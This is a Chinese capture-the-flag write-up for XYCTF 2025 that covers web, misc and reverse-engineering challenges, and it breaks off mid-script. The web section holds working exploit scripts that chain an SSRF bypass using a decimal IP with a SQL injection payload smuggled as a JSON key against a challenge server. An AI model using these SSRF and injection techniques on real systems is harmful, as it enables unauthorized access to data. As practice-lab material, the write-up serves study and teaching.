XYCTF

本次排名120,清明假期,躺躺做做,但还是学到很多,手速快拿了一个MISC二血,还有一些没做的比较简单的Web和PWN的几题,清明节休息,懒就没做了,逆向剩下很多是纯不会…….

image-20250406200531062

Web

fate

Deepseek做的

deepseek可通

image-20250404181710120

image-20250404182730146

给出了初始exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import json

def string_to_binary(s):
return ''.join(format(ord(c), '08b') for c in s)

# 构造恶意的JSON数据,name字段为'LAME'||'NTXU',但需绕过过滤并保持长度<=6
# 这里利用SQLite的字符串连接符||,通过多次UPPER处理得到完整的'LAMENTXU'
payload = {
'name': 'LAME"||"NTXU' # 实际构造时需考虑绕过过滤,此处仅为示例
}

binary_payload = string_to_binary(json.dumps(payload))

# 构造SSRF请求,使用十进制IP绕过点号检查
proxy_url = "http://靶机地址/proxy"
params = {
'url': f'@2130706433:5000/1337?0=abcdefghi&1={binary_payload}'
}

response = requests.get(proxy_url, params=params)
print(response.text)

看了下init,flag应该在Lam里面

发现直接被过滤了

改了两处地方2130706433:8080和abcdefghi为url编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import json

def string_to_binary(s):
return ''.join(format(ord(c), '08b') for c in s)

# 构造恶意 JSON,利用双引号和 || 拼接字符串(绕过单引号和括号过滤)
payload = {
'name': 'LAME"||"NTXU' # 经过多次 UPPER 后变成 LAMENTXU
}

# 将 JSON 转换为二进制字符串
binary_payload = string_to_binary(json.dumps(payload))

# 编码参数 0=abcdefghi 为 %61%62%63%64%65%66%67%68%69(无字母)
encoded_param = '%61%62%63%64%65%66%67%68%69'

# 手动拼接 URL,避免 requests 自动编码破坏 % 符号
proxy_url = "http://靶机地址/proxy"
target_url = f'@2130706433:8080/1337?0={encoded_param}&1={binary_payload}'
full_url = f"{proxy_url}?url={target_url}"

# 发送请求
response = requests.get(full_url)
print(response.text)

发现还是不行,发现json.dumps这里有错,删掉

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import json

def string_to_binary(s):
return ''.join(format(ord(c), '08b') for c in s)

# 构造恶意的JSON数据,name字段为'LAME'||'NTXU',但需绕过过滤并保持长度<=6
# 这里利用SQLite的字符串连接符||,通过多次UPPER处理得到完整的'LAMENTXU'
payload = {
'name': 'LAME"||"NTXU' # 经过多次 UPPER 后变成 LAMENTXU
}

binary_payload = string_to_binary(payload)
print(binary_payload)

# 构造SSRF请求,使用十进制IP绕过点号检查
proxy_url = "http://eci-2zej6zc2vcwml290qhv2.cloudeci1.ichunqiu.com:8080/proxy"
params = {
'url': f'@2130706433:8080/1337?0=%61%62%63%64%65%66%67%68%69&1={binary_payload}'
}

response = requests.get(proxy_url, params=params)
print(response.text)

最后通不了看了下应该是payload的原因,再去看了下源码,这之前都没看…

image-20250404182038668

发现七个upper,看看能不能手动闭合,试了下不太行,把思路给deepseek,说是能用

绕过类型检查:代码要求 req 中存在 name 字段,但未验证其类型。将 name 设为对象(字典)而非字符串,绕过初步检查。

1
NAME = UPPER(UPPER(...UPPER('{a\')))))))or 1=1 -- '...)))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import json

def string_to_binary(s):
return ''.join(format(ord(c), '08b') for c in s)

# 构造恶意的JSON数据,name字段为'LAME'||'NTXU',但需绕过过滤并保持长度<=6
# 这里利用SQLite的字符串连接符||,通过多次UPPER处理得到完整的'LAMENTXU'
payload = '{"name":{"a\')))))))or 1=1 -- ":"LAMENTXU"}}'

binary_payload = string_to_binary(payload)
print(binary_payload)

# 构造SSRF请求,使用十进制IP绕过点号检查
proxy_url = "http://eci-2zehizg84lwf3p6g77ex.cloudeci1.ichunqiu.com:8080/proxy"
params = {
'url': f'@2130706433:8080/1337?0=%61%62%63%64%65%66%67%68%69&1={binary_payload}'
}


response = requests.get(proxy_url, params=params)
print(response.text)

出的不是flag,在试了下升序和降序

1
payload = '{"name":{"a\')))))))or 1=1 order by 1 desc-- ":"LAMENTXU"}}'

出了

image-20250404182654910

MISC

XGCTF

XGCTF里找到大佬出的题,搜索dragonkeep blog,根据关键词搜题,发现忘记时哪场比赛的题来着,最后找到博客,查看源代码就行

image-20250406202825047

image-20250406202848034

签个到吧[签到二血 0.0 手速快]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
code = """>+++++++++++++++++[<++++++>-+-+-+-]<[-]>++++++++++++[<+++++++++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++[<+++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++[<+++>-+-+-+-]<[-]>+++++++++++++++++[<+++>-+-+-+-]<[-]>++++++++++++[<+++++++++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<[-]>++++++++[<++++++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<[-]>+++++++++++++++++++[<+++++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++[<++++>-+-+-+-]<[-]>++++++++[<++++++>-+-+-+-]<[-]>+++++++++++++++++++[<+++++>-+-+-+-]<[-]>+++++++++++[<++++++++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<[-]>++++++++++++[<+++++++>-+-+-+-]<[-]>++++++++++[<+++++++>-+-+-+-]<[-]>+++++++++++++++++++[<+++++>-+-+-+-]<[-]>++++++++++[<+++++>-+-+-+-]<[-]>++++++++[<++++++>-+-+-+-]<[-]>++++++++++[<+++++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<[-]>+++++++++++++++++++[<+++++>-+-+-+-]<[-]>+++++++++++++++++++++++[<+++>-+-+-+-]<[-]>+++++++++++[<++++++++++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++[<++>-+-+-+-]<[-]>++++++++[<++++++>-+-+-+-]<[-]>+++++++++++[<+++++>-+-+-+-]<[-]>+++++++++++++++++++[<+++++>-+-+-+-]<[-]>+++++++[<+++++++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++[<++++>-+-+-+-]<[-]>+++++++++++[<+++>-+-+-+-]<[-]>+++++++++++++++++++++++++[<+++++>-+-+-+-]<[-]>"""

# 分割代码块(每个块以 > 开头)
blocks = code.split(">")[1:] # 忽略第一个空元素

flag = []
for block in blocks:
# 提取初始加号数量a
a = 0
while a < len(block) and block[a] == '+':
a += 1

# 提取循环体内的加号数量b
start = block.find('[<')
if start == -1:
continue

b_str = block[start + 2:].split('>')[0]
b = b_str.count('+') # 统计加号数量

# 计算字符ASCII值
char = a * b
flag.append(chr(char))

print("FLAG:", ''.join(flag))

FLAG: flag{W3lC0me_t0_XYCTF_2025_Enj07_1t!}

会飞的雷克萨斯

搜一下osint是啥就行

根据小东十七找到位置,根据群里的flag格式提交就行

问卷

提交问卷即可

曼波曼波曼波 [复现]

逆序Base64+图片

image-20250421101727860

下载是个压缩包然后,解压密码是XYCTF2025,解出来是个双图盲水印

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
#!/usr/bin/env python
# -*- coding: utf8 -*-

import sys
import random

cmd = None
debug = False
seed = 20160930
oldseed = False
alpha = 3.0

if __name__ == '__main__':
if '-h' in sys.argv or '--help' in sys.argv or len(sys.argv) < 2:
print ('Usage: python bwm.py <cmd> [arg...] [opts...]')
print (' cmds:')
print (' encode <image> <watermark> <image(encoded)>')
print (' image + watermark -> image(encoded)')
print (' decode <image> <image(encoded)> <watermark>')
print (' image + image(encoded) -> watermark')
print (' opts:')
print (' --debug, Show debug')
print (' --seed <int>, Manual setting random seed (default is 20160930)')
print (' --oldseed Use python2 random algorithm.')
print (' --alpha <float>, Manual setting alpha (default is 3.0)')
sys.exit(1)
cmd = sys.argv[1]
if cmd != 'encode' and cmd != 'decode':
print ('Wrong cmd %s' % cmd)
sys.exit(1)
if '--debug' in sys.argv:
debug = True
del sys.argv[sys.argv.index('--debug')]
if '--seed' in sys.argv:
p = sys.argv.index('--seed')
if len(sys.argv) <= p+1:
print ('Missing <int> for --seed')
sys.exit(1)
seed = int(sys.argv[p+1])
del sys.argv[p+1]
del sys.argv[p]
if '--oldseed' in sys.argv:
oldseed = True
del sys.argv[sys.argv.index('--oldseed')]
if '--alpha' in sys.argv:
p = sys.argv.index('--alpha')
if len(sys.argv) <= p+1:
print ('Missing <float> for --alpha')
sys.exit(1)
alpha = float(sys.argv[p+1])
del sys.argv[p+1]
del sys.argv[p]
if len(sys.argv) < 5:
print ('Missing arg...')
sys.exit(1)
fn1 = sys.argv[2]
fn2 = sys.argv[3]
fn3 = sys.argv[4]

import cv2
import numpy as np
import matplotlib.pyplot as plt

# OpenCV是以(BGR)的顺序存储图像数据的
# 而Matplotlib是以(RGB)的顺序显示图像的
def bgr_to_rgb(img):
b, g, r = cv2.split(img)
return cv2.merge([r, g, b])

if cmd == 'encode':
print ('image<%s> + watermark<%s> -> image(encoded)<%s>' % (fn1, fn2, fn3))
img = cv2.imread(fn1)
wm = cv2.imread(fn2)

if debug:
plt.subplot(231), plt.imshow(bgr_to_rgb(img)), plt.title('image')
plt.xticks([]), plt.yticks([])
plt.subplot(234), plt.imshow(bgr_to_rgb(wm)), plt.title('watermark')
plt.xticks([]), plt.yticks([])

# print img.shape # 高, 宽, 通道
h, w = img.shape[0], img.shape[1]
hwm = np.zeros((int(h * 0.5), w, img.shape[2]))
assert hwm.shape[0] > wm.shape[0]
assert hwm.shape[1] > wm.shape[1]
hwm2 = np.copy(hwm)
for i in range(wm.shape[0]):
for j in range(wm.shape[1]):
hwm2[i][j] = wm[i][j]

if oldseed: random.seed(seed,version=1)
else: random.seed(seed)
m, n = list(range(hwm.shape[0])), list(range(hwm.shape[1]))
if oldseed:
random.shuffle(m,random=random.random)
random.shuffle(n,random=random.random)
else:
random.shuffle(m)
random.shuffle(n)

for i in range(hwm.shape[0]):
for j in range(hwm.shape[1]):
hwm[i][j] = hwm2[m[i]][n[j]]

rwm = np.zeros(img.shape)
for i in range(hwm.shape[0]):
for j in range(hwm.shape[1]):
rwm[i][j] = hwm[i][j]
rwm[rwm.shape[0] - i - 1][rwm.shape[1] - j - 1] = hwm[i][j]

if debug:
plt.subplot(235), plt.imshow(bgr_to_rgb(rwm)), \
plt.title('encrypted(watermark)')
plt.xticks([]), plt.yticks([])

f1 = np.fft.fft2(img)
f2 = f1 + alpha * rwm
_img = np.fft.ifft2(f2)

if debug:
plt.subplot(232), plt.imshow(bgr_to_rgb(np.real(f1))), \
plt.title('fft(image)')
plt.xticks([]), plt.yticks([])

img_wm = np.real(_img)

assert cv2.imwrite(fn3, img_wm, [int(cv2.IMWRITE_JPEG_QUALITY), 100])

# 这里计算下保存前后的(溢出)误差
img_wm2 = cv2.imread(fn3)
sum = 0
for i in range(img_wm.shape[0]):
for j in range(img_wm.shape[1]):
for k in range(img_wm.shape[2]):
sum += np.power(img_wm[i][j][k] - img_wm2[i][j][k], 2)
miss = np.sqrt(sum) / (img_wm.shape[0] * img_wm.shape[1] * img_wm.shape[2]) * 100
print ('Miss %s%% in save' % miss)

if debug:
plt.subplot(233), plt.imshow(bgr_to_rgb(np.uint8(img_wm))), \
plt.title('image(encoded)')
plt.xticks([]), plt.yticks([])

f2 = np.fft.fft2(img_wm)
rwm = (f2 - f1) / alpha
rwm = np.real(rwm)

wm = np.zeros(rwm.shape)
for i in range(int(rwm.shape[0] * 0.5)):
for j in range(rwm.shape[1]):
wm[m[i]][n[j]] = np.uint8(rwm[i][j])
for i in range(int(rwm.shape[0] * 0.5)):
for j in range(rwm.shape[1]):
wm[rwm.shape[0] - i - 1][rwm.shape[1] - j - 1] = wm[i][j]

if debug:
assert cv2.imwrite('_bwm.debug.wm.jpg', wm)
plt.subplot(236), plt.imshow(bgr_to_rgb(wm)), plt.title(u'watermark')
plt.xticks([]), plt.yticks([])

if debug:
plt.show()

elif cmd == 'decode':
print ('image<%s> + image(encoded)<%s> -> watermark<%s>' % (fn1, fn2, fn3))
img = cv2.imread(fn1)
img_wm = cv2.imread(fn2)

if debug:
plt.subplot(231), plt.imshow(bgr_to_rgb(img)), plt.title('image')
plt.xticks([]), plt.yticks([])
plt.subplot(234), plt.imshow(bgr_to_rgb(img_wm)), plt.title('image(encoded)')
plt.xticks([]), plt.yticks([])

if oldseed: random.seed(seed,version=1)
else: random.seed(seed)
m, n = list(range(int(img.shape[0] * 0.5))), list(range(img.shape[1]))
if oldseed:
random.shuffle(m,random=random.random)
random.shuffle(n,random=random.random)
else:
random.shuffle(m)
random.shuffle(n)

f1 = np.fft.fft2(img)
f2 = np.fft.fft2(img_wm)

if debug:
plt.subplot(232), plt.imshow(bgr_to_rgb(np.real(f1))), \
plt.title('fft(image)')
plt.xticks([]), plt.yticks([])
plt.subplot(235), plt.imshow(bgr_to_rgb(np.real(f1))), \
plt.title('fft(image(encoded))')
plt.xticks([]), plt.yticks([])

rwm = (f2 - f1) / alpha
rwm = np.real(rwm)

if debug:
plt.subplot(233), plt.imshow(bgr_to_rgb(rwm)), \
plt.title('encrypted(watermark)')
plt.xticks([]), plt.yticks([])

wm = np.zeros(rwm.shape)
for i in range(int(rwm.shape[0] * 0.5)):
for j in range(rwm.shape[1]):
wm[m[i]][n[j]] = np.uint8(rwm[i][j])
for i in range(int(rwm.shape[0] * 0.5)):
for j in range(rwm.shape[1]):
wm[rwm.shape[0] - i - 1][rwm.shape[1] - j - 1] = wm[i][j]
assert cv2.imwrite(fn3, wm)

if debug:
plt.subplot(236), plt.imshow(bgr_to_rgb(wm)), plt.title(u'watermark')
plt.xticks([]), plt.yticks([])

if debug:
plt.show()
1
python bwmforpy3.py decode 1.png 2.png 3.png 

盲水印提取

image-20250421110248131

PWN [复现]

RE

WARMUP

VBScript

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78

import re
import hashlib

# ===== 粘贴你的完整VBScript代码到这里 ↓↓↓↓↓ =====
vbscript_code = r'''
Execute(chr( 6672024+2934 ) & chr( -2915+3015 ) & chr( 1811-1779 ) & chr( -7946+8019 ) & chr( -5275+5377 ) & chr( -7424+7437 ) & chr( 34620/3462 ) & vbcrlf ) '

''' # 粘贴完整的Execute(...)代码
# ===== 粘贴结束 ↑↑↑↑↑ =====

# 提取所有chr()中的表达式
expressions = re.findall(r'chr\(\s*([^)]+)\s*\)', vbscript_code)

# 计算表达式并生成字符
flag_chars = []
for expr in expressions:
try:
value = int(eval(expr)) # 确保结果为整数
flag_chars.append(chr(value))
except:
pass # 忽略错误表达式

# 拼接完整字符串
full_string = ''.join(flag_chars)
print("生成字符串:", full_string)

# 提取flag内容并计算MD5
flag_content = re.search(r'flag\{(.+?)\}', full_string)
if flag_content:
md5_hash = hashlib.md5(flag_content.group(1).encode()).hexdigest()
print("最终Flag:", f"XYCTF{{{md5_hash}}}")
else:
print("未找到flag内容")

def rc4(key, data):
# 初始化S盒
S = list(range(256))
j = 0
# KSA阶段处理密钥
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]

# PRGA阶段生成密钥流并解密数据
i = j = 0
keystream = []
for byte in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
k = S[(S[i] + S[j]) % 256]
keystream.append(k)

# 将密文与密钥流异或得到明文
decrypted = bytes([byte ^ k for byte, k in zip(data, keystream)])
return decrypted


# 给定的密文和密钥
ciphertext_hex = "90df4407ee093d309098d85a42be57a2979f1e51463a31e8d15e2fac4e84ea0df622a55c4ddfb535ef3e51e8b2528b826d5347e165912e99118333151273cc3fa8b2b3b413cf2bdb1e8c9c52865efc095a8dd89b3b3cfbb200bbadbf4a6cd4"
key = "rc4key".encode('ascii')

# 将十六进制字符串转换为字节数据
ciphertext = bytes.fromhex(ciphertext_hex)

# 使用RC4解密
decrypted_data = rc4(key, ciphertext)

# 输出解密后的结果
print("Flag:", decrypted_data.decode('ascii'))

flag = "We1c0me_t0_XYCTF_2025_reverse_ch@lleng3_by_th3_w@y_p3cd0wn's_chall_is_r3@lly_gr3@t_&_fuN!"

md5_hash = hashlib.md5(flag.encode()).hexdigest()
print(f"MD5 hash:XYCTF" + '{' + md5_hash + '}' )

print('a'*32)

Dragon

file Dragon.bc

1
Dragon.bc: LLVM IR bitcode

反编译为 LLVM IR 文本格式

1
llvm-dis Dragon.bc -o Dragon.ll

分析生成的 Dragon.ll 文件

使用文本编辑器或 IDE 打开,查找关键函数(如main)和逻辑。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
enc = [
-2565957437423125689, 224890624719110086, 1357324823849588894,
-8941695979231947288, -253413330424273460, -7817463785137710741,
-5620500441869335673, 984060876288820705, -6993555743080142153,
-7892488171899690683, 7190415315123037707, -7218240302740981077
]
# 转换为无符号64位整数
unsigned_enc = [x & 0xFFFFFFFFFFFFFFFF for x in enc]

def calculate_crc64_direct(data):
crc = 0xFFFFFFFFFFFFFFFF
for byte in data:
crc ^= (byte << 56) # 将字节移到高8位并异或
for _ in range(8):
if crc & 0x8000000000000000:
crc = ((crc << 1) ^ 0x42F0E1EBA9EA3693) & 0xFFFFFFFFFFFFFFFF
else:
crc = (crc << 1) & 0xFFFFFFFFFFFFFFFF
crc ^= 0xFFFFFFFFFFFFFFFF # 最终取反
return crc

flag = bytearray()
for target in unsigned_enc:
found = False
for b1 in range(256):
for b2 in range(256):
data = bytes([b1, b2])
crc = calculate_crc64_direct(data)
if crc == target:
flag.extend(data)
found = True
break
if found:
break
if not found:
print(f"Failed for target {hex(target)}")
exit()
print(flag.decode())
1
flag{LLVM_1s_Fun_Ri9h7?}

moon

只要有耐心肯定能做出来,一开始对pyd一无所知,看了相关的教程后,建了一个虚拟的conda环境(python3.11这个在导入表里看到的,必须和moon.pyd所需环境一致才能导入moon模块),创建了一个MyPyd.pyd,然后ida打开保存时,选择save数据库,然后打开moon.pyd,bindiff导入这个保存的i64文件,然后bindiff里还有个importxx点击后即可恢复一些函数名。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from distutils.core import setup
from Cython.Build import cythonize
from distutils.extension import Extension

# 定义扩展模块
module = Extension(
"MyPyd",
sources=["MyPyd.py"],
extra_compile_args=["/Zi"], # 编译器选项:生成调试信息
extra_link_args=["/DEBUG"], # 链接器选项:生成 PDB 文件
)
setup(
ext_modules=cythonize(module)
)

然后还学习了动调pyd,先要打开dbsgrv里的exe,再去运行你的main.py,ida中attchpython.exe即可

参考了下面文章

[2024 Ciscn长城杯铁人三项 逆向题Cython_长城杯 2024]cython-CSDN博客

系统讲解pyd逆向/Cython逆向-CSDN博客

其实根本没有这么麻烦,我在静态分析时,发现了一长串426bxxx这个猜测是密文,还发现了random,xor什么的,但是无法分析

一直找不到这些加密程序入口在哪,最后动调python时发现seed和target_hex跟我的猜测相应和

image-20250406161104475

猜了下有异或逻辑,结果出了:

1
2
3
4
5
6
7
8
9
10
11
import random

SEED = 1131796
TARGET_HEX = "426b87abd0ceaa3c58761bbb0172606dd8ab064491a2a76af9a93e1ae56fa84206a2f7"

random.seed(SEED)
cipher = bytes.fromhex(TARGET_HEX)
key = bytes([random.randint(0, 255) for _ in range(len(cipher))])
flag = bytes([c ^ k for c, k in zip(cipher, key)]).decode('utf-8')

print(flag)
1
flag{but_y0u_l00k3d_up_@t_th3_mOOn}

上面算非预期吧,正解应该调试或者静态分析出,没想到赛后还有个非预期解法help(moon)直接出源码

还发现了这样F7也能出

image-20250421163934442

image-20250421161318754

去定位

也能找到compare

image-20250421161904677

image-20250421162030477

交叉引用能找到B618再交叉引用能找到随机种子0x114514

image-20250421162235581

Lake [复现]

image-20250421165010896

这个地方开始打字,动调能跟进(静态进不去的)

可以大致分成几部分

处理输出(不用管)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
sub_100008570();
n94 = -1;
do
{
aJF[(unsigned __int16)++n94] ^= 0x33u; // "j\\F"
v0 = sub_10000C190();
sub_10000C760(0LL, v0, LOBYTE(aJF[(unsigned __int16)n94]));// "j\\F"
sub_100008510();
sub_10000C2F0(v0);
sub_100008510();
if ( qword_100021B50 )
v1 = (void *)qword_100021B50((unsigned int)dword_100020580);
else
v1 = &unk_100020588;
sub_10000C0C0(v1);
sub_100008510();
sub_1000130D0(100LL);
}
while ( n94 < 94 );
v2 = sub_10000C190();
sub_10000C310(v2);
sub_100008510();
n94 = -1;
do
{
*(_WORD *)&byte_100015210[2 * (unsigned __int16)++n94] -= 37;
v3 = sub_10000C190();
sub_10000C760(0LL, v3, byte_100015210[2 * (unsigned __int16)n94]);
sub_100008510();
sub_10000C2F0(v3);
sub_100008510();
if ( qword_100021B50 )
v4 = (void *)qword_100021B50((unsigned int)dword_100020580);
else
v4 = &unk_100020588;
sub_10000C0C0(v4);
sub_100008510();
sub_1000130D0(100LL);
}
while ( n94 < 73 );
v5 = sub_10000C190();
sub_10000C310(v5);
sub_100008510();
n94 = -1;
do
{
*(_WORD *)&byte_1000152B0[2 * (unsigned __int16)++n94] ^= 0x77u;
v6 = sub_10000C190();
sub_10000C760(0LL, v6, byte_1000152B0[2 * (unsigned __int16)n94]);
sub_100008510();
sub_10000C2F0(v6);
sub_100008510();
if ( qword_100021B50 )
v7 = (void *)qword_100021B50((unsigned int)dword_100020580);
else
v7 = &unk_100020588;
sub_10000C0C0(v7);
sub_100008510();
sub_1000130D0(100LL);
}
while ( n94 < 55 );
v8 = sub_10000C190();
sub_10000C310(v8);
sub_100008510();
sub_1000130D0(500LL);
n94 = -1;

处理输入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
do
{
aFgo[(unsigned __int16)++n94] += 8; // "Fgo"
v9 = sub_10000C190();
sub_10000C760(0LL, v9, LOBYTE(aFgo[(unsigned __int16)n94]));// "Fgo"
sub_100008510();
sub_10000C2F0(v9);
sub_100008510();
if ( qword_100021B50 )
v10 = (void *)qword_100021B50((unsigned int)dword_100020580);
else
v10 = &unk_100020588;
sub_10000C0C0(v10);
sub_100008510();
sub_1000130D0(200LL);
}
while ( n94 < 49 );
v11 = sub_10000C190();
sub_10000C310(v11);
sub_100008510();
v12 = sub_10000C160();
sub_10000CB90(v12, byte_100020090, 255LL);
sub_100008510();
sub_10000C940(v12);
sub_100008510();
sub_1000026E0(byte_100020010, 40LL, 0LL);

以上两部分不太重要

1
2
3
4
5
6
7
8
9
10
if ( byte_100020090[0] )
{
n94 = 0;
do
{
if ( n94++ <= 39LL )
byte_100020010[n94 - 1] = byte_100020090[(unsigned __int8)n94];
}
while ( n94 > n94 );
}

转存到byte_100020010中

下面发现了几种操作+-%|…..大概是个vm逆向题?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
n94 += 3;
if ( word_100020060 >= 1 )
{
switch ( word_100020060 )
{
case 1:
sub_1000017A0((unsigned int)word_100020070, (unsigned __int8)word_100020080);
break;
case 2:
sub_1000017E0((unsigned int)word_100020070, (unsigned __int8)word_100020080);
break;
case 3:
sub_100001820((unsigned int)word_100020070, (unsigned __int8)word_100020080);
break;
case 4:
sub_100001860((unsigned int)word_100020070, (unsigned __int8)word_100020080);
break;
case 5:
sub_1000018B0((unsigned int)word_100020070, (unsigned __int8)word_100020080);
break;
case 6:
sub_1000018F0((unsigned int)word_100020070, (unsigned __int8)word_100020080);
break;
case 7:
sub_100001930((unsigned int)word_100020070, (unsigned __int8)word_100020080);
break;
case 8:
sub_100001970((unsigned int)word_100020070, (unsigned __int8)word_100020080);
break;
}
}
}

image-20250421171606920

这里好像附件有问题应该是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
enc = [0x4A, 0xAB, 0x9B, 0x1B, 0x61, 0xB1, 0xF3, 0x32, 0xD1, 0x8B, 0x73, 0xEB, 0xE9, 0x73, 0x6B, 0x22, 0x81, 0x83, 0x23, 0x31, 0xCB, 0x1B, 0x22, 0xFB, 0x25, 0xC2, 0x81, 0x81, 0x73, 0x22, 0xFA, 0x03, 0x9C, 0x4B, 0x5B, 0x49, 0x97, 0x87, 0xDB, 0x51]

bytecode = [0x0002, 0x0002, 0x000C, 0x0001, 0x001A, 0x0055, 0x0001, 0x0023,
0x000C, 0x0002, 0x000E, 0x0009, 0x0001, 0x001B, 0x0006, 0x0008, 0x0006,
0x0005, 0x0008, 0x0001, 0x0005, 0x0002, 0x001B, 0x000E, 0x0002, 0x0019,
0x0003, 0x0002, 0x001A, 0x0004, 0x0008, 0x0004, 0x0008, 0x0001, 0x0003,
0x000C, 0x0002, 0x000C, 0x000A, 0x0001, 0x0025, 0x0002, 0x0001, 0x0020,
0x0002, 0x0001, 0x0009, 0x000C, 0x0008, 0x001A, 0x0005, 0x0002, 0x0004,
0x000D, 0x0008, 0x0008, 0x000F, 0x0002, 0x000A, 0x000E, 0x0001, 0x0010,
0x0007, 0x0001, 0x000C, 0x0007, 0x0008, 0x0022, 0x0008, 0x0008, 0x0015,
0x000A, 0x0001, 0x0027, 0x007E, 0x0002, 0x0007, 0x0002, 0x0008, 0x000F,
0x0003, 0x0008, 0x000A, 0x000A, 0x0001, 0x0022, 0x000B, 0x0002, 0x0012,
0x0008, 0x0002, 0x0019, 0x0009, 0x0008, 0x000E, 0x0006, 0x0008, 0x0000,
0x0005, 0x0001, 0x000A, 0x0008, 0x0008, 0x001B, 0x0007, 0x0008, 0x000D,
0x0006, 0x0008, 0x000D, 0x0004, 0x0008, 0x0017, 0x000C, 0x0008, 0x0022,
0x000E, 0x0002, 0x0012, 0x0034, 0x0001, 0x0026, 0x0077]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

enc = [0x4A, 0xAB, 0x9B, 0x1B, 0x61, 0xB1, 0xF3, 0x32, 0xD1, 0x8B, 0x73, 0xEB, 0xE9, 0x73, 0x6B, 0x22, 0x81, 0x83, 0x23, 0x31, 0xCB, 0x1B, 0x22, 0xFB, 0x25, 0xC2, 0x81, 0x81, 0x73, 0x22, 0xFA, 0x03, 0x9C, 0x4B, 0x5B, 0x49, 0x97, 0x87, 0xDB, 0x51]

opc = [0x02, 0x02, 0x0C, 0x01, 0x1A, 0x55, 0x01, 0x23, 0x0C, 0x02, 0x0E, 0x09,
0x01, 0x1B, 0x06, 0x08, 0x06, 0x05, 0x08, 0x01, 0x05, 0x02, 0x1B, 0x0E,
0x02, 0x19, 0x03, 0x02, 0x1A, 0x04, 0x08, 0x04, 0x08, 0x01, 0x03, 0x0C,
0x02, 0x0C, 0x0A, 0x01, 0x25, 0x02, 0x01, 0x20, 0x02, 0x01, 0x09, 0x0C,
0x08, 0x1A, 0x05, 0x02, 0x04, 0x0D, 0x08, 0x08, 0x0F, 0x02, 0x0A, 0x0E,
0x01, 0x10, 0x07, 0x01, 0x0C, 0x07, 0x08, 0x22, 0x08, 0x08, 0x15, 0x0A,
0x01, 0x27, 0x7E, 0x02, 0x07, 0x02, 0x08, 0x0F, 0x03, 0x08, 0x0A, 0x0A,
0x01, 0x22, 0x0B, 0x02, 0x12, 0x08, 0x02, 0x19, 0x09, 0x08, 0x0E, 0x06,
0x08, 0x00, 0x05, 0x01, 0x0A, 0x08, 0x08, 0x1B, 0x07, 0x08, 0x0D, 0x06,
0x08, 0x0D, 0x04, 0x08, 0x17, 0x0C, 0x08, 0x22, 0x0E, 0x02, 0x12, 0x34,
0x01, 0x26, 0x77]

for i in range(0, len(opc), 3):
a = opc[i]
b = opc[i+1]
c = opc[i+2]
if a == 0:
break
elif a == 1:
